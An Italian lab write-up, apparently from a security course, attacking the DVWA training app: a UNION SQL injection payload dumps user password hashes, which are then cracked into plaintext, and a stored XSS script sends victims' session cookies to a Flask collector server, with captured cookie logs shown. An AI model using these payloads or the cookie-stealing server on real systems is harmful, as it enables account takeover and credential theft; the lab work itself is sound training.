

5. Web application hacking

- Recupero delle password degli utenti presenti sul DB (SQLi)

```
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: admin
Surname: admin

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Gordon
Surname: Brown

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Hack
Surname: Me

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Pablo
Surname: Picasso

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Bob
Surname: Smith

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Una volta ottenuti questi risultati andiamo a decodificare le password hashate per ottenere username e password effettive per ogni utente presente nel DB.

Decodifico le password con l'utilizzo di John the Ripper attraverso due file contenenti lista di username e password.

Il risultato che otteniamo è il seguente:

admin : password
gordonb : abc123
1337 : charley
pablo : letmein
smithy : password

-Recuperare i cookie di sessione delle vittime del XSS stored ed inviarli ad un server sotto il controllo dell'attaccante.

Creazione codice in python che funge da server e che riporta su un file txt tutti i cookie di sessione che recuperiamo dagli utenti

Codice python:

```
cookies.txt x
1 from flask import Flask, request, redirect
2 from datetime import datetime
3
4
5 app = Flask(__name__) # create instance of the app
6
7 @app.route('/') # reindirizzamento creazione file
8 def cookie():
9 # cattura dei cookie e reindirizzati sul file"cookies.txt"
10 cookie = request.args.get('c')
11 f = open("cookies.txt","a")
12 f.write(cookie + ' ' + str(datetime.now()) + '\n')
13 f.close()
14
15 # reindirizzamento dell'utente alla pagina DVWA
16 return redirect("http://192.168.50.101/dvwa/login.php")
17 if __name__ == "__main__":
18 app.run(host = '0.0.0.0', port=5000) #0.0.0.0 - in ascolto per ogni ip
19
20
21
```

Inserimento dello script nella sezione XSS Stored.

Come nome inseriamo cookies e nello spazio del messaggio inseriamo lo script che ci permette di trasferire i cookie sul server creato.

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Name: test
Message: This is a test comment.

Name: cookies
Message:
<script>document.location='http://127.0.0.1:5000/?c='+ document.cookie</script>

Lancio del programma python e intercetto cookie.

Una volta inserito lo script e riaperta la pagina di login di DVWA, inseriamo le credenziali di accesso e una volta dentro modifichiamo la security su low e accediamo nuovamente alla sezione XSS Stored.

```
(kali@kali)-[~/Scrivania]
$ python xss.py
* Serving Flask app 'xss'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://192.168.1.130:5000
Press CTRL+C to quit
127.0.0.1 - - [03/Mar/2023 16:29:28] "GET /?c=security=low;%20PHPSESSID=f55346c0244e16995c5648068df28e36 HTTP/1.1" 302 -
```

Controllo dell'inserimento dei cookie trovati nel file di testo.

In questo caso i cookie si riferiscono a due accessi con utenti diversi, il primo con username 'admin' e password 'password' ed il secondo con username smithy e password 'password'

```
~/Scrivania/cookies.txt - Mousepad
File Modifica Cerca Visualizza Documento Aiuto
1 security=low; PHPSESSID=f55346c0244e16995c5648068df28e36 2023-03-03 16:27:31.197235
2 security=low; PHPSESSID=9ef09c4b7c064045e806ec1749068031 2023-03-03 16:33:09.463205
3
```